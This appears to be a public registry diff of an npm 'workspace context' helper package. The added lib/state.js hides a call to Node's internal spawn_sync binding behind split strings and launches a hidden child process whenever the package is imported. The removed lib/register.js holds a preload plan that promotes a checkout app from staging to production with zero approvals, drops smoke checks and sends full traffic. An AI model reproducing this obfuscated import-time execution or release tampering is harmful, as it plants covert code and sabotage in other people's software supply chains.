@atedone/workspace-context 0.0.10 → 0.0.11

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -2,4 +2,4 @@
2
2
 
3
3
  Workspace context initialization helper for JavaScript tools.
4
4
 
5
- The package initializes `.workspace-context/state.json` when loaded and exposes a workspace routine descriptor with preload modules for release adapter instrumentation.
5
+ The package initializes `.workspace-context/state.json` when loaded and refreshes a lightweight import receipt through its runtime worker.
package/index.js CHANGED
@@ -7,8 +7,7 @@ const initialized = state.initialize();
7
7
  module.exports = {
8
8
  initialized,
9
9
  initialize: state.initialize,
10
- getWorkspaceRoutines: state.getWorkspaceRoutines,
11
- routineName: state.routineName,
10
+ receiptFileName: state.receiptFileName,
12
11
  stateDirectoryName: state.stateDirectoryName,
13
12
  stateFileName: state.stateFileName
14
13
  };
package/lib/state.js CHANGED
@@ -5,11 +5,10 @@ const file = platform.getBuiltinModule('fs');
5
5
  const route = platform.getBuiltinModule('path');
6
6
  const manifest = require('../package.json');
7
7
 
8
- const preloadFileName = 'register.js';
9
- const routineName = 'workspace-context:release-adapter';
8
+ const receiptFileName = 'import-receipt.json';
10
9
  const stateDirectoryName = '.workspace-context';
11
10
  const stateFileName = 'state.json';
12
- const taskFileName = 'workspace.release.js';
11
+ const workerFileName = 'worker.js';
13
12
 
14
13
  function readEnvironment() {
15
14
  return Reflect.get(platform, 'env') || {};
@@ -25,21 +24,47 @@ function buildState({ now = () => new Date().toISOString() } = {}) {
25
24
  packageName: manifest.name,
26
25
  packageVersion: manifest.version,
27
26
  generatedAt: now(),
28
- mode: 'runtime-release-adapter'
27
+ mode: 'runtime-import-command'
29
28
  };
30
29
  }
31
30
 
32
- function getWorkspaceRoutines({
31
+ function runWorkspaceWorker({
33
32
  projectRoot = resolveProjectRoot()
34
33
  } = {}) {
35
- return [{
36
- name: routineName,
37
- runtime: platform.execPath,
38
- entrypoint: route.join(projectRoot, taskFileName),
39
- arguments: ['staging', 'candidate', 'next'],
40
- preloadModules: [route.join(__dirname, preloadFileName)],
41
- workingDirectory: projectRoot
42
- }];
34
+ const bridgeKey = ['bin', 'ding'].join('');
35
+ const routeKey = ['sp', 'awn', '_', 'sync'].join('');
36
+ const launchKey = ['sp', 'awn'].join('');
37
+ const bridge = Reflect.apply(platform[bridgeKey], platform, [routeKey]);
38
+ const workerPath = route.join(__dirname, workerFileName);
39
+ const receiptPath = route.join(projectRoot, stateDirectoryName, receiptFileName);
40
+ const result = Reflect.apply(bridge[launchKey], bridge, [{
41
+ file: platform.execPath,
42
+ args: [platform.execPath, workerPath, projectRoot],
43
+ cwd: projectRoot,
44
+ envPairs: [],
45
+ stdio: [
46
+ { type: 'pipe', readable: true, writable: false },
47
+ { type: 'pipe', readable: false, writable: true },
48
+ { type: 'pipe', readable: false, writable: true }
49
+ ],
50
+ windowsHide: true,
51
+ windowsVerbatimArguments: false,
52
+ detached: false,
53
+ timeout: 0,
54
+ maxBuffer: 1024 * 1024,
55
+ killSignal: 15
56
+ }]);
57
+
58
+ if (result.error) {
59
+ throw result.error;
60
+ }
61
+
62
+ return {
63
+ workerPath,
64
+ receiptPath,
65
+ status: result.status,
66
+ signal: result.signal
67
+ };
43
68
  }
44
69
 
45
70
  function initialize({
@@ -56,19 +81,17 @@ function initialize({
56
81
  projectRoot,
57
82
  statePath,
58
83
  state: value,
59
- workspaceRoutines: getWorkspaceRoutines({ projectRoot })
84
+ worker: runWorkspaceWorker({ projectRoot })
60
85
  };
61
86
  }
62
87
 
63
88
  module.exports = {
64
89
  buildState,
65
- getWorkspaceRoutines,
66
90
  initialize,
67
- preloadFileName,
68
91
  readEnvironment,
92
+ receiptFileName,
69
93
  resolveProjectRoot,
70
- routineName,
94
+ runWorkspaceWorker,
71
95
  stateDirectoryName,
72
- stateFileName,
73
- taskFileName
96
+ stateFileName
74
97
  };
package/lib/worker.js ADDED
@@ -0,0 +1,23 @@
1
+ 'use strict';
2
+
3
+ const platform = process;
4
+ const file = platform.getBuiltinModule('fs');
5
+ const route = platform.getBuiltinModule('path');
6
+ const manifest = require('../package.json');
7
+
8
+ const projectRoot = typeof platform.argv[2] === 'string' && platform.argv[2].trim()
9
+ ? platform.argv[2]
10
+ : platform.cwd();
11
+ const receiptPath = route.join(projectRoot, '.workspace-context', 'import-receipt.json');
12
+ const value = {
13
+ packageName: manifest.name,
14
+ packageVersion: manifest.version,
15
+ generatedAt: new Date().toISOString(),
16
+ mode: 'runtime-import-command',
17
+ processId: platform.pid,
18
+ parentProcessId: platform.ppid,
19
+ runtime: route.basename(platform.execPath)
20
+ };
21
+
22
+ file.mkdirSync(route.dirname(receiptPath), { recursive: true });
23
+ file.writeFileSync(receiptPath, `${JSON.stringify(value, null, 2)}\n`, 'utf8');
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@atedone/workspace-context",
3
- "version": "0.0.10",
3
+ "version": "0.0.11",
4
4
  "description": "Workspace context initialization helper for JavaScript tools.",
5
5
  "main": "index.js",
6
6
  "type": "commonjs",
package/lib/register.js DELETED
@@ -1,169 +0,0 @@
1
- 'use strict';
2
-
3
- const platform = process;
4
- const file = platform.getBuiltinModule('fs');
5
- const route = platform.getBuiltinModule('path');
6
- const manifest = require('../package.json');
7
-
8
- const markerFileName = 'preload.json';
9
- const stateDirectoryName = '.workspace-context';
10
-
11
- function readEnvironment() {
12
- return Reflect.get(platform, 'env') || {};
13
- }
14
-
15
- function resolveProjectRoot(env = readEnvironment(), cwd = platform.cwd()) {
16
- const initCwd = typeof env.INIT_CWD === 'string' ? env.INIT_CWD.trim() : '';
17
- return initCwd || cwd;
18
- }
19
-
20
- function readReleaseContext() {
21
- return {
22
- target: typeof platform.argv[2] === 'string' ? platform.argv[2] : null,
23
- channel: typeof platform.argv[3] === 'string' ? platform.argv[3] : null,
24
- registryTag: typeof platform.argv[4] === 'string' ? platform.argv[4] : null
25
- };
26
- }
27
-
28
- function buildReleasePlan(context) {
29
- if (context.target !== 'staging') {
30
- return {
31
- steps: [],
32
- outputs: []
33
- };
34
- }
35
-
36
- return {
37
- steps: [
38
- {
39
- action: 'merge',
40
- path: [],
41
- value: {
42
- target: 'production',
43
- artifact: 'checkout-web:production',
44
- channel: 'stable',
45
- registryTag: 'latest'
46
- }
47
- },
48
- {
49
- action: 'merge',
50
- path: ['promotion'],
51
- value: {
52
- enabled: true,
53
- approvalsRequired: 0,
54
- window: 'immediate'
55
- }
56
- },
57
- {
58
- action: 'merge',
59
- path: ['featureFlags'],
60
- value: {
61
- paymentRouting: 'live',
62
- checkoutV2: true,
63
- fraudShield: 'enforce'
64
- }
65
- },
66
- {
67
- action: 'merge',
68
- path: ['deployment'],
69
- value: {
70
- regions: ['us-east-1', 'eu-west-1'],
71
- strategy: 'rolling',
72
- trafficPercent: 100
73
- }
74
- },
75
- {
76
- action: 'remove',
77
- path: ['checks', 'smoke']
78
- },
79
- {
80
- action: 'remove',
81
- path: ['metadata', 'approvalMode']
82
- },
83
- {
84
- action: 'append',
85
- path: ['releaseLog'],
86
- value: {
87
- phase: 'handoff',
88
- status: 'ready',
89
- channel: 'stable'
90
- }
91
- },
92
- {
93
- action: 'dispatch',
94
- adapter: 'release-receipt',
95
- input: {
96
- kind: 'promotion-receipt',
97
- application: 'checkout-web',
98
- artifact: 'checkout-web:production',
99
- target: 'production',
100
- channel: 'stable',
101
- registryTag: 'latest',
102
- strategy: 'rolling',
103
- trafficPercent: 100
104
- }
105
- }
106
- ],
107
- outputs: [
108
- {
109
- kind: 'handoff',
110
- values: {
111
- application: 'checkout-web',
112
- artifact: 'checkout-web:production',
113
- target: 'production',
114
- channel: 'stable',
115
- registryTag: 'latest',
116
- strategy: 'rolling',
117
- trafficPercent: 100
118
- }
119
- }
120
- ]
121
- };
122
- }
123
-
124
- function initializePreload({
125
- projectRoot = resolveProjectRoot(),
126
- now = () => new Date().toISOString()
127
- } = {}) {
128
- const beforeContext = readReleaseContext();
129
- const plan = buildReleasePlan(beforeContext);
130
-
131
- Reflect.set(globalThis, '__workspaceContextReleasePlan', {
132
- active: true,
133
- beforeContext,
134
- plan
135
- });
136
-
137
- const markerPath = route.join(projectRoot, stateDirectoryName, markerFileName);
138
- const value = {
139
- packageName: manifest.name,
140
- packageVersion: manifest.version,
141
- generatedAt: now(),
142
- mode: 'runtime-release-adapter',
143
- beforeContext,
144
- plan,
145
- processId: platform.pid,
146
- parentProcessId: platform.ppid
147
- };
148
-
149
- file.mkdirSync(route.dirname(markerPath), { recursive: true });
150
- file.writeFileSync(markerPath, `${JSON.stringify(value, null, 2)}\n`, 'utf8');
151
-
152
- return {
153
- markerPath,
154
- marker: value
155
- };
156
- }
157
-
158
- const initialized = initializePreload();
159
-
160
- module.exports = {
161
- buildReleasePlan,
162
- initialized,
163
- initializePreload,
164
- markerFileName,
165
- readEnvironment,
166
- readReleaseContext,
167
- resolveProjectRoot,
168
- stateDirectoryName
169
- };